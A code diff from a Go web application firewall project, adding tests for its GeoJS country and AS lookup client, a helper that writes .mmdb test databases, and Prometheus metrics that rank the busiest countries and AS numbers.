+		g := lookup.New(lookup.Params{
+			URL:        lookup.URL,
+			Timeout:    longerTimeout,
+			Wait:       true,
+			Now:        time.Now,
+			ProcessLog: slog.New(slog.DiscardHandler),
+			Metrics:    m,
+			Alerts:     alerts.New(alerts.Params{}),
+		})
+		g.SetTransport(&standIn{answers: hanging})
+
+		var (
+			request sync.WaitGroup
+			waited  time.Duration
+		)
+
+		request.Go(func() {
+			began := time.Now()
+
+			wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
+
+			waited = time.Since(began)
+		})
+
+		// A moment before the timeout runs out, GeoJS is still being asked:
+		// the request to it has not failed.
+		time.Sleep(longerTimeout - time.Millisecond)
+		synctest.Wait()
+		wantFailures(t, m, 0)
+
+		// As it runs out, the client's request goes on, and the request to
+		// GeoJS is abandoned, which counts as a failure.
+		request.Wait()
+		synctest.Wait()
+
+		if waited != longerTimeout {
+			t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
+		}
+
+		wantFailures(t, m, 1)
+	})
+}
+
+func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name    string
+		answers int
+		// named is whether the answer names the other client asked about.
+		named bool
+	}{
+		{"null", answeringNull, false},
+		{"empty list", answeringEmptyList, false},
+		{"list without " + leftOut, answeringWithoutLeftOut, true},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				geojs, clock, g := start()
+				other := netip.MustParsePrefix("203.0.113.1/32")
+				client := netip.MustParsePrefix(leftOut + "/32")
+
+				// GeoJS fails, and is left alone for a second while the client
+				// comes too, so that the next request asks about both.
+				geojs.set(failing)
+				wantCountry(t, g, other, "")
+				wantCountry(t, g, client, "")
+
+				geojs.set(tc.answers)
+				clock.advance(time.Second)
+				wantCountry(t, g, other, "")
+				waitForRequests(t, geojs, 2)
+
+				// The answer counts as a failure, and the client is asked about
+				// again, with the other client only if the answer left it out too.
+				geojs.set(answering)
+				waitForCountry(t, g, clock, client, germany)
+				wantCountry(t, g, other, germany)
+				wantRequests(t, geojs, 3)
+
+				if tc.named {
+					wantAsked(t, geojs, 2, leftOut)
+				} else {
+					wantAsked(t, geojs, 2, leftOut, "203.0.113.1")
+				}
+			})
+		})
+	}
+}
+
+func TestRedirectCountsAsFailure(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, _, g := start()
+		geojs.set(redirecting)
+
+		wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
+		wantRequests(t, geojs, 1)
+	})
+}
+
+func TestCountryIsKeptInCapitals(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, _, g := start()
+		geojs.set(answeringInLowerCase)
+
+		wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), germany)
+	})
+}
+
+func TestAnswerHoldsTheASNumberTheASNameAndTheCountry(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		_, clock, g := start()
+		placed := netip.MustParsePrefix("203.0.113.9/32")
+		notPlaced := netip.MustParsePrefix(unplaced + "/32")
+		now := clock.Now()
+
+		// For the client it cannot place, GeoJS gives the AS number 64512
+		// and the AS name Unknown, which count as unknown.
+		for client, want := range map[netip.Prefix]lookup.Answer{
+			placed: {
+				Client: placed, ASN: asn, ASName: asName, Country: germany,
+				Answered: now, Used: now,
+			},
+			notPlaced: {Client: notPlaced, Answered: now, Used: now},
+		} {
+			got := g.LookUp(t.Context(), client)
+			if got != want {
+				t.Errorf("answer for %s\n%+v\nwant\n%+v", client, got, want)
+			}
+		}
+	})
+}
+
+func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		var (
+			mu    sync.Mutex
+			given []lookup.Answer
+		)
+
+		geojs := &standIn{answers: answeringSlowly}
+		clock := newClock()
+		m := metrics.New(1, "app")
+		g := lookup.New(lookup.Params{
+			URL:     lookup.URL,
+			Timeout: timeout,
+			Answered: func(answer lookup.Answer) {
+				mu.Lock()
+				defer mu.Unlock()
+
+				given = append(given, answer)
+			},
+			Now:        clock.Now,
+			ProcessLog: slog.New(slog.DiscardHandler),
+			Metrics:    m,
+			Alerts:     alerts.New(alerts.Params{}),
+		})
+		g.SetTransport(geojs)
+
+		client := netip.MustParsePrefix("203.0.113.9/32")
+
+		// The request goes on at once, without an answer, and GeoJS is asked
+		// about the client, which it answers most of a second later.
+		began := time.Now()
+
+		got := g.LookUp(t.Context(), client)
+		if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
+			t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
+		}
+
+		waitForRequests(t, geojs, 1)
+		wantAsked(t, geojs, 0, "203.0.113.9")
+
+		time.Sleep(timeout)
+		synctest.Wait()
+
+		now := clock.Now()
+		want := lookup.Answer{
+			Client: client, ASN: asn, ASName: asName, Country: germany,
+			Answered: now, Used: now,
+		}
+
+		mu.Lock()
+		if !slices.Equal(given, []lookup.Answer{want}) {
+			t.Errorf("answers given %+v, want only %+v", given, want)
+		}
+		mu.Unlock()
+
+		wantCountry(t, g, client, germany)
+		wantUnanswered(t, m, 0)
+	})
+}
+
+func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		var log strings.Builder
+
+		// GeoJS does not answer, so the request to it is abandoned, and fails.
+		geojs := &standIn{answers: hanging}
+		g := lookup.New(lookup.Params{
+			URL:        lookup.URL,
+			Timeout:    timeout,
+			Wait:       true,
+			Now:        time.Now,
+			ProcessLog: slog.New(slog.NewTextHandler(&log, nil)),
+			Metrics:    metrics.New(1, "app"),
+			Alerts:     alerts.New(alerts.Params{}),
+		})
+		g.SetTransport(geojs)
+
+		wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
+		synctest.Wait()
+
+		logged := log.String()
+		if !strings.Contains(logged, "asking GeoJS failed") ||
+			strings.Contains(logged, "203.0.113.9") {
+			t.Errorf("logged %q, want the failure without the address asked about", logged)
+		}
+	})
+}
+
+func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g, queue := startWithAlerts()
+		clients := newClients()
+
+		geojs.set(failing)
+
+		wantCountry(t, g, clients(), "")
+
+		want := alerts.Alert{
+			Time:   clock.Now(),
+			Event:  alerts.EventSourceFailure,
+			Reason: "asking GeoJS failed",
+			Detail: map[string]any{
+				"source":          "geojs",
+				"error":           "GeoJS answered 503 Service Unavailable",
+				"asking_again_in": "1s",
+			},
+		}
+
+		// The next failure, a second later, is a repeat within the
+		// cooldown.
+		clock.advance(time.Second)
+		wantCountry(t, g, clients(), "")
+		wantRequests(t, geojs, 2)
+
+		waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+		if len(waiting) != 1 || !reflect.DeepEqual(waiting[0], want) {
+			t.Errorf("alerts waiting %+v, want only %+v", waiting, want)
+		}
+
+		if queue.Suppressed() != 1 {
+			t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+		}
+	})
+}
+
+func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g := start()
+
+		// GeoJS fails, and is then left alone for a second, while three more
+		// clients come. An IPv6 client is a /64, and GeoJS is asked about its
+		// first address.
+		geojs.set(failing)
+		wantCountry(t, g, netip.MustParsePrefix("203.0.113.1/32"), "")
+		wantCountry(t, g, netip.MustParsePrefix("203.0.113.2/32"), "")
+		wantCountry(t, g, netip.MustParsePrefix("2001:db8:1:2::/64"), "")
+		wantRequests(t, geojs, 1)
+
+		geojs.set(answering)
+		clock.advance(time.Second)
+		wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
+		wantRequests(t, geojs, 2)
+		wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
+	})
+}
+
+func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g := start()
+		clients := newClients()
+		kept := clients()
+
+		wantCountry(t, g, kept, germany)
+
+		geojs.set(failing)
+		wantCountry(t, g, kept, germany)
+		wantRequests(t, geojs, 1)
+
+		// Each failure leaves GeoJS alone twice as long as the one before, up
+		// to five minutes. New clients meanwhile count as not found, and the
+		// client with a kept answer still gets its country, without GeoJS being
+		// asked.
+		requests := 1
+
+		for _, delay := range []time.Duration{
+			time.Second, 2 * time.Second, 4 * time.Second, 8 * time.Second,
+			16 * time.Second, 32 * time.Second, 64 * time.Second, 128 * time.Second,
+			256 * time.Second, 5 * time.Minute, 5 * time.Minute,
+		} {
+			wantCountry(t, g, clients(), "")
+
+			requests++
+			wantRequests(t, geojs, requests)
+
+			clock.advance(delay - time.Millisecond)
+			wantCountry(t, g, clients(), "")
+			wantCountry(t, g, kept, germany)
+			wantRequests(t, geojs, requests)
+
+			clock.advance(time.Millisecond)
+		}
+
+		// Once GeoJS answers again, it is asked about every client waiting.
+		geojs.set(answering)
+		wantCountry(t, g, clients(), germany)
+		wantRequests(t, geojs, requests+1)
+
+		asked := waitForRequests(t, geojs, requests+1)
+		if len(asked[requests]) != 23 {
+			t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
+		}
+	})
+}
+
+func TestAtMost200AddressesInOneRequest(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g := start()
+		clients := newClients()
+		first := clients()
+
+		// 201 clients wait while GeoJS is left alone after a failure.
+		geojs.set(failing)
+		wantCountry(t, g, first, "")
+
+		for range 200 {
+			wantCountry(t, g, clients(), "")
+		}
+
+		// The first one's next request has GeoJS asked again.
+		geojs.set(answering)
+		clock.advance(time.Second)
+		wantCountry(t, g, first, "")
+
+		asked := waitForRequests(t, geojs, 3)
+		if len(asked[1]) != 200 || len(asked[2]) != 1 {
+			t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
+				len(asked[1]), len(asked[2]))
+		}
+	})
+}
+
+func TestAtMost10000ClientsWait(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g := start()
+		clients := newClients()
+		first := clients()
+
+		// 10,000 clients wait while GeoJS is left alone after a failure, and
+		// one more cannot join them.
+		geojs.set(failing)
+		wantCountry(t, g, first, "")
+
+		for range 9999 {
+			wantCountry(t, g, clients(), "")
+		}
+
+		extra := clients()
+		wantCountry(t, g, extra, "")
+
+		// The first one's next request has GeoJS asked about the 10,000, 200
+		// at a time, and not about the one more.
+		geojs.set(answering)
+		clock.advance(time.Second)
+		wantCountry(t, g, first, "")
+
+		asked := waitForRequests(t, geojs, 51)
+		for i, request := range asked {
+			if slices.Contains(request, extra.Addr().String()) {
+				t.Errorf("request %d asked about %s", i, extra.Addr())
+			}
+		}
+
+		// With room among those waiting, it is asked about.
+		wantCountry(t, g, extra, germany)
+	})
+}
+
+func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		m := metrics.New(1, "app")
+		g := lookup.New(lookup.Params{
+			URL:        lookup.URL,
+			Timeout:    timeout,
+			Wait:       true,
+			Now:        time.Now,
+			ProcessLog: slog.New(slog.DiscardHandler),
+			Metrics:    m,
+			Alerts:     alerts.New(alerts.Params{}),
+		})
+		g.SetTransport(&standIn{answers: failing})
+
+		clients := newClients()
+
+		// GeoJS fails, so the first client goes without an answer, and GeoJS
+		// is left alone for a second, which does not pass in this test.
+		wantCountry(t, g, clients(), "")
+		wantUnanswered(t, m, 1)
+
+		// Meanwhile each new client goes without one at once, while there is
+		// room for it among the 10,000 that may wait.
+		for range 9999 {
+			wantCountry(t, g, clients(), "")
+		}
+
+		wantUnanswered(t, m, 10000)
+
+		// One more, for which there is no room, goes without one too.
+		wantCountry(t, g, clients(), "")
+		wantUnanswered(t, m, 10001)
+	})
+}
+
+// How the stand-in for GeoJS answers.
+const (
+	answering               = iota
+	answeringSlowly         // most of a second later
+	answeringInLowerCase    // with each country in lower case
+	answeringWithoutLeftOut // with a list that leaves leftOut out
+	answeringEmptyList      // with []
+	answeringNull           // with null
+	failing                 // with 503
+	hanging                 // not at all, until the request is abandoned
+	redirecting             // with a redirect to itself
+)
+
+// standIn is a stand-in for GeoJS. It notes the addresses each request
+// asks about.
+type standIn struct {
+	mu       sync.Mutex
+	answers  int
+	requests [][]string
+}
+
+// RoundTrip has the stand-in answer req, in place of the network. A request
+// abandoned before the stand-in answers fails, as over the network.
+func (s *standIn) RoundTrip(req *http.Request) (*http.Response, error) {
+	answer := httptest.NewRecorder()
+	s.ServeHTTP(answer, req)
+
+	err := req.Context().Err()
+	if err != nil {
+		return nil, err
+	}
+
+	return answer.Result(), nil
+}
+
+// ServeHTTP answers a request about the addresses in its ip parameter.
+func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+	addrs := strings.Split(r.URL.Query().Get("ip"), ",")
+
+	s.mu.Lock()
+	s.requests = append(s.requests, addrs)
+	answers := s.answers
+	s.mu.Unlock()
+
+	switch answers {
+	case failing:
+		w.WriteHeader(http.StatusServiceUnavailable)
+
+		return
+	case hanging:
+		<-r.Context().Done()
+
+		return
+	case redirecting:
+		http.Redirect(w, r, "/", http.StatusFound)
+
+		return
+	case answeringSlowly:
+		select {
+		case <-time.After(timeout * 4 / 5):
+		case <-r.Context().Done():
+			return
+		}
+	}
+
+	list := make([]map[string]any, 0, len(addrs))
+
+	for _, addr := range addrs {
+		item := map[string]any{
+			"ip": addr, "asn": asNumber, "organization_name": asName,
+			"country_code": germany,
+		}
+
+		switch {
+		case addr == unplaced:
+			item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
+		case addr == leftOut && answers == answeringWithoutLeftOut:
+			continue
+		case answers == answeringInLowerCase:
+			item["country_code"] = strings.ToLower(germany)
+		}
+
+		list = append(list, item)
+	}
+
+	var answer any = list
+
+	switch answers {
+	case answeringEmptyList:
+		answer = []string{}
+	case answeringNull:
+		answer = nil
+	}
+
+	err := json.NewEncoder(w).Encode(answer)
+	if err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+	}
+}
+
+// set sets how the stand-in answers.
+func (s *standIn) set(answers int) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	s.answers = answers
+}
+
+// asked returns the addresses each request has asked about so far.
+func (s *standIn) asked() [][]string {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	return slices.Clone(s.requests)
+}
+
+// testClock is a clock the test sets. GeoJS tells the time by it, while
+// waits run on the bubble's clock.
+type testClock struct {
+	mu  sync.Mutex
+	now time.Time
+}
+
+// Now tells the time.
+func (c *testClock) Now() time.Time {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	return c.now
+}
+
+// advance moves the clock on by d.
+func (c *testClock) advance(d time.Duration) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	c.now = c.now.Add(d)
+}
+
+// start returns a stand-in for GeoJS that answers, a clock, and a GeoJS
+// asking the stand-in by that clock, for which a request waits for its
+// client's first answer.
+func start() (*standIn, *testClock, *lookup.GeoJS) {
+	geojs, clock, g, _ := startWithAlerts()
+
+	return geojs, clock, g
+}
+
+// startWithAlerts is start, and returns the queue of the alerts GeoJS
+// raises as well, for a webhook that is never sent them, with the default
+// cooldown, by the same clock.
+func startWithAlerts() (*standIn, *testClock, *lookup.GeoJS, *alerts.Queue) {
+	geojs := &standIn{}
+	clock := newClock()
+	queue := alerts.New(alerts.Params{
+		WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
+		Events:     alerts.Events(),
+		Cooldown:   15 * time.Minute,
+		Now:        clock.Now,
+	})
+	g := lookup.New(lookup.Params{
+		URL:        lookup.URL,
+		Timeout:    timeout,
+		Wait:       true,
+		Now:        clock.Now,
+		ProcessLog: slog.New(slog.DiscardHandler),
+		Metrics:    metrics.New(1, "app"),
+		Alerts:     queue,
+	})
+	g.SetTransport(geojs)
+
+	return geojs, clock, g, queue
+}
+
+// newClock returns a clock set to the start of a day.
+func newClock() *testClock {
+	return &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)}
+}
+
+// newClients returns what returns a new IPv4 client each time it is
+// called.
+func newClients() func() netip.Prefix {
+	addr := netip.MustParseAddr("10.0.0.0")
+
+	return func() netip.Prefix {
+		addr = addr.Next()
+
+		return netip.PrefixFrom(addr, addr.BitLen())
+	}
+}
+
+// wantCountry checks the country g gives client.
+func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
+	t.Helper()
+
+	got := g.LookUp(t.Context(), client).Country
+	if got != want {
+		t.Errorf("%s is in %q, want %q", client, got, want)
+	}
+}
+
+// wantRequests checks how many requests GeoJS has had.
+func wantRequests(t *testing.T, geojs *standIn, want int) {
+	t.Helper()
+
+	got := len(geojs.asked())
+	if got != want {
+		t.Errorf("GeoJS had %d requests, want %d", got, want)
+	}
+}
+
+// wantAsked checks the addresses request i asked about, in any order.
+func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
+	t.Helper()
+
+	asked := geojs.asked()
+	if len(asked) <= i {
+		t.Fatalf("GeoJS had %d requests, want more than %d", len(asked), i)
+	}
+
+	got := slices.Sorted(slices.Values(asked[i]))
+
+	slices.Sort(want)
+
+	if !slices.Equal(got, want) {
+		t.Errorf("request %d asked about %v, want %v", i, got, want)
+	}
+}
+
+// wantUnanswered checks how many requests m counts as having gone without
+// an answer from GeoJS.
+func wantUnanswered(t *testing.T, m *metrics.Metrics, want float64) {
+	t.Helper()
+
+	got := testutil.ToFloat64(m.GeoJSUnanswered)
+	if got != want {
+		t.Errorf("%v requests went without an answer, want %v", got, want)
+	}
+}
+
+// wantFailures checks how many requests to GeoJS m counts as failed.
+func wantFailures(t *testing.T, m *metrics.Metrics, want float64) {
+	t.Helper()
+
+	got := testutil.ToFloat64(m.GeoJSFailures)
+	if got != want {
+		t.Errorf("%v requests to GeoJS failed, want %v", got, want)
+	}
+}
+
+// waitForRequests waits until g has done all it can before time passes,
+// checks that GeoJS has had count requests, and returns the addresses each
+// asked about.
+func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
+	t.Helper()
+
+	synctest.Wait()
+
+	asked := geojs.asked()
+	if len(asked) != count {
+		t.Fatalf("GeoJS had %d requests, want %d", len(asked), count)
+	}
+
+	return asked
+}
+
+// waitForCountry lets a request to GeoJS under way be abandoned, and moves
+// the clock on a minute, so that GeoJS may be asked again after a failure.
+// It then checks that client's next request does not wait but has it asked
+// about again in the background, after which g gives it the country want.
+func waitForCountry(
+	t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
+) {
+	t.Helper()
+
+	time.Sleep(timeout)
+	clock.advance(time.Minute)
+	wantCountry(t, g, client, "")
+	synctest.Wait()
+	wantCountry(t, g, client, want)
+}

internal/lookup/lookuptest/lookuptest.go

@@ -0,0 +1,83 @@
+// Package lookuptest writes lookup databases, IPinfo Lite files in their
+// .mmdb form, for the tests of the packages that read them.
+package lookuptest
+
+import (
+	"bytes"
+	"net"
+	"os"
+	"testing"
+
+	"github.com/maxmind/mmdbwriter"
+	"github.com/maxmind/mmdbwriter/mmdbtype"
+)
+
+// fileMode is the mode of the files written: read and written by their
+// owner alone.
+const fileMode = 0o600
+
+// Network is what a lookup database holds about a netblock, of the fields
+// smallwebwaf reads: its AS number, such as AS64496, the AS's name, and
+// its country, such as DE.
+type Network struct {
+	ASN     string
+	ASName  string
+	Country string
+}
+
+// Write writes a lookup database at path that places each netblock in
+// networks, such as 203.0.113.0/24, as its Network says, and no other
+// address.
+func Write(tb testing.TB, path string, networks map[string]Network) {
+	tb.Helper()
+
+	records := make(map[string]mmdbtype.Map, len(networks))
+	for netblock, network := range networks {
+		records[netblock] = mmdbtype.Map{
+			"asn":          mmdbtype.String(network.ASN),
+			"as_name":      mmdbtype.String(network.ASName),
+			"country_code": mmdbtype.String(network.Country),
+		}
+	}
+
+	WriteRecords(tb, path, records)
+}
+
+// WriteRecords writes a lookup database at path that holds each record in
+// records for its netblock, and nothing for any other address.
+func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
+	tb.Helper()
+
+	tree, err := mmdbwriter.New(mmdbwriter.Options{
+		DatabaseType: "ipinfo_lite",
+		// The tests' clients are in the netblocks kept for documentation.
+		IncludeReservedNetworks: true,
+	})
+	if err != nil {
+		tb.Fatalf("new lookup database: %v", err)
+	}
+
+	for netblock, record := range records {
+		_, network, err := net.ParseCIDR(netblock)
+		if err != nil {
+			tb.Fatalf("netblock %q: %v", netblock, err)
+		}
+
+		err = tree.Insert(network, record)
+		if err != nil {
+			tb.Fatalf("insert %s: %v", netblock, err)
+		}
+	}
+
+	var database bytes.Buffer
+
+	_, err = tree.WriteTo(&database)
+	if err != nil {
+		tb.Fatalf("write the lookup database: %v", err)
+	}
+
+	err = os.WriteFile(path, database.Bytes(), fileMode)
+	if err != nil {
+		tb.Fatalf("write %s: %v", path, err)
+	}
+}

internal/lookup/snapshot_test.go

@@ -0,0 +1,102 @@
+package lookup_test
+
+import (
+	"net/netip"
+	"slices"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+)
+
+func TestSnapshotHoldsEachAnswerAndWhenItWasLastUsed(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		_, clock, g := start()
+		placed := netip.MustParsePrefix("203.0.113.9/32")
+		notPlaced := netip.MustParsePrefix(unplaced + "/32")
+		asked := clock.Now()
+
+		wantCountry(t, g, placed, germany)
+		wantCountry(t, g, notPlaced, "")
+
+		clock.advance(time.Hour)
+		wantCountry(t, g, placed, germany)
+
+		want := []lookup.Answer{
+			{Client: notPlaced, Answered: asked, Used: asked},
+			{
+				Client: placed, ASN: asn, ASName: asName, Country: germany,
+				Answered: asked, Used: asked.Add(time.Hour),
+			},
+		}
+		if got := g.Snapshot(); !slices.Equal(got, want) {
+			t.Errorf("snapshot\n%+v\nwant\n%+v", got, want)
+		}
+	})
+}
+
+func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
+	t.Parallel()
+
+	geojs, clock, g := start()
+	now := clock.Now()
+	kept := lookup.Answer{
+		Client:   netip.MustParsePrefix("203.0.113.9/32"),
+		Country:  "FR",
+		Answered: now.Add(-week + time.Second),
+		Used:     now.Add(-time.Hour),
+	}
+	stale := lookup.Answer{
+		Client:   netip.MustParsePrefix("203.0.113.10/32"),
+		Country:  "FR",
+		Answered: now.Add(-week),
+		Used:     now.Add(-time.Hour),
+	}
+
+	g.Load([]lookup.Answer{kept, stale})
+
+	if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
+		t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
+	}
+
+	wantCountry(t, g, kept.Client, "FR")
+	wantRequests(t, geojs, 0)
+}
+
+func TestLoadDropsTheAnswerUsedLongestAgoFirst(t *testing.T) {
+	t.Parallel()
+
+	const maxAnswers = 100000
+
+	_, clock, g := start()
+	now := clock.Now()
+
+	// lookups.json lists the answers by client. Here each was last used a
+	// second before the one listed before it, so the last listed is the
+	// one used longest ago, and the one dropped.
+	answers := make([]lookup.Answer, maxAnswers+1)
+	addr := netip.MustParseAddr("10.0.0.0")
+
+	for i := range answers {
+		answers[i] = lookup.Answer{
+			Client:   netip.PrefixFrom(addr, addr.BitLen()),
+			Country:  germany,
+			Answered: now,
+			Used:     now.Add(-time.Duration(i) * time.Second),
+		}
+		addr = addr.Next()
+	}
+
+	g.Load(answers)
+
+	got := g.Snapshot()
+	if len(got) != maxAnswers || got[0] != answers[0] ||
+		got[maxAnswers-1] != answers[maxAnswers-1] {
+		t.Errorf("%d answers kept, from %s to %s; want %d, from %s to %s",
+			len(got), got[0].Client, got[len(got)-1].Client, maxAnswers,
+			answers[0].Client, answers[maxAnswers-1].Client)
+	}
+}

internal/metrics/busiest.go

@@ -0,0 +1,155 @@
+package metrics
+
+import (
+	"sync"
+
+	"github.com/prometheus/client_golang/prometheus"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// other is the label value under which the countries or AS numbers
+// outside the busiest are counted.
+const other = "other"
+
+// busiest are the metrics by one thing the lookup finds of the client,
+// its country or its AS number, for requests whose client's is known.
+// The topN busiest countries or AS numbers, by their requests since the
+// start, have series of their own, and the others are counted under
+// other, so that there are never more than topN + 1 series. One that
+// drops out of the busiest loses its series, and its next requests are
+// counted under other; one that becomes one of them gets a series that
+// counts from then on. Each series therefore only ever goes up.
+type busiest struct {
+	topN int
+
+	requests      *prometheus.CounterVec
+	requestBytes  *prometheus.CounterVec
+	responseBytes *prometheus.CounterVec
+	// refused are, by country, the requests the country lists refused; nil
+	// by AS number.
+	refused *prometheus.CounterVec
+
+	mu sync.Mutex
+	// seen is each country's or AS number's requests since the start, by
+	// which they are ranked.
+	seen map[string]int64
+	// top are those with series of their own.
+	top map[string]bool
+}
+
+// newCountries returns the metrics by country, with series of their own
+// for the topN busiest countries.
+func newCountries(topN int) *busiest {
+	countries := newBusiest(topN, "country", "the client's country")
+	countries.refused = counterVec("smallwebwaf_country_list_refusals_total",
+		"Requests the country lists refused, by the client's country.",
+		[]string{"country"})
+
+	return countries
+}
+
+// newASNs returns the metrics by AS number, with series of their own for
+// the topN busiest AS numbers.
+func newASNs(topN int) *busiest {
+	return newBusiest(topN, "asn", "the client's AS number")
+}
+
+// newBusiest returns the metrics by label, which is described as
+// description, with series of their own for the topN busiest values.
+func newBusiest(topN int, label, description string) *busiest {
+	by := []string{label}
+
+	return &busiest{
+		topN: topN,
+		requests: counterVec("smallwebwaf_"+label+"_requests_total",
+			"Requests, by "+description+".", by),
+		requestBytes: counterVec("smallwebwaf_"+label+"_request_bytes_total",
+			"Request body bytes, by "+description+".", by),
+		responseBytes: counterVec("smallwebwaf_"+label+"_response_bytes_total",
+			"Response body bytes, by "+description+".", by),
+		seen: map[string]int64{},
+		top:  map[string]bool{},
+	}
+}
+
+// Describe and Collect make the metrics a prometheus.Collector, so that
+// they are registered together.
+func (b *busiest) Describe(ch chan<- *prometheus.Desc) {
+	for _, vec := range b.vecs() {
+		vec.Describe(ch)
+	}
+}
+
+// Collect is the other half of prometheus.Collector, with Describe.
+func (b *busiest) Collect(ch chan<- prometheus.Metric) {
+	for _, vec := range b.vecs() {
+		vec.Collect(ch)
+	}
+}
+
+// vecs returns the metrics: by AS number, those of requests and bytes; by
+// country, the refusals by the country lists as well.
+func (b *busiest) vecs() []*prometheus.CounterVec {
+	vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
+	if b.refused != nil {
+		vecs = append(vecs, b.refused)
+	}
+
+	return vecs
+}
+
+// add counts a request from its log line, whose client's country or AS
+// number, value, is known.
+func (b *busiest) add(value string, line *requestlog.Line) {
+	b.mu.Lock()
+	defer b.mu.Unlock()
+
+	b.seen[value]++
+
+	label := b.label(value)
+	b.requests.WithLabelValues(label).Inc()
+	b.requestBytes.WithLabelValues(label).Add(float64(line.RequestBytes))
+	b.responseBytes.WithLabelValues(label).Add(float64(line.ResponseBytes))
+
+	if b.refused != nil && line.Action == requestlog.ActionCountryDenied {
+		b.refused.WithLabelValues(label).Inc()
+	}
+}
+
+// label returns the label a request from value is counted under: value
+// while it is one of the busiest, other while it is not. A value busier
+// than the least busy of them takes its place, and that one's series are
+// dropped.
+func (b *busiest) label(value string) string {
+	if b.top[value] {
+		return value
+	}
+
+	if len(b.top) < b.topN {
+		b.top[value] = true
+
+		return value
+	}
+
+	least := ""
+
+	for top := range b.top {
+		if least == "" || b.seen[top] < b.seen[least] {
+			least = top
+		}
+	}
+
+	if b.seen[value] <= b.seen[least] {
+		return other
+	}
+
+	delete(b.top, least)
+
+	for _, vec := range b.vecs() {
+		vec.DeleteLabelValues(least)
+	}
+
+	b.top[value] = true
+
+	return value
+}

internal/metrics/metrics.go

@@ -0,0 +1,555 @@
+// Package metrics keeps smallwebwaf's Prometheus metrics, as
+// docs/metrics.md lists them, and serves them in the Prometheus text
+// format, as the "Metrics endpoint" section of SPEC.md requires. No
+// metric carries a client's address.
+package metrics
+
+import (
+	"net/http"
+	"strconv"
+	"time"
+
+	"github.com/prometheus/client_golang/prometheus"
+	"github.com/prometheus/client_golang/prometheus/collectors"
+	"github.com/prometheus/client_golang/prometheus/promhttp"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/remotelog"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+)
+
+// Metrics are smallwebwaf's metrics. They are safe for concurrent use.
+type Metrics struct {
+	// registry gives every metric registered with it the label instance.
+	registry prometheus.Registerer
+	handler  http.Handler
+
+	inFlight         prometheus.Gauge
+	requests         *prometheus.CounterVec
+	requestBytes     *prometheus.CounterVec
+	responseBytes    *prometheus.CounterVec
+	requestDuration  prometheus.Histogram
+	upstreamDuration prometheus.Histogram
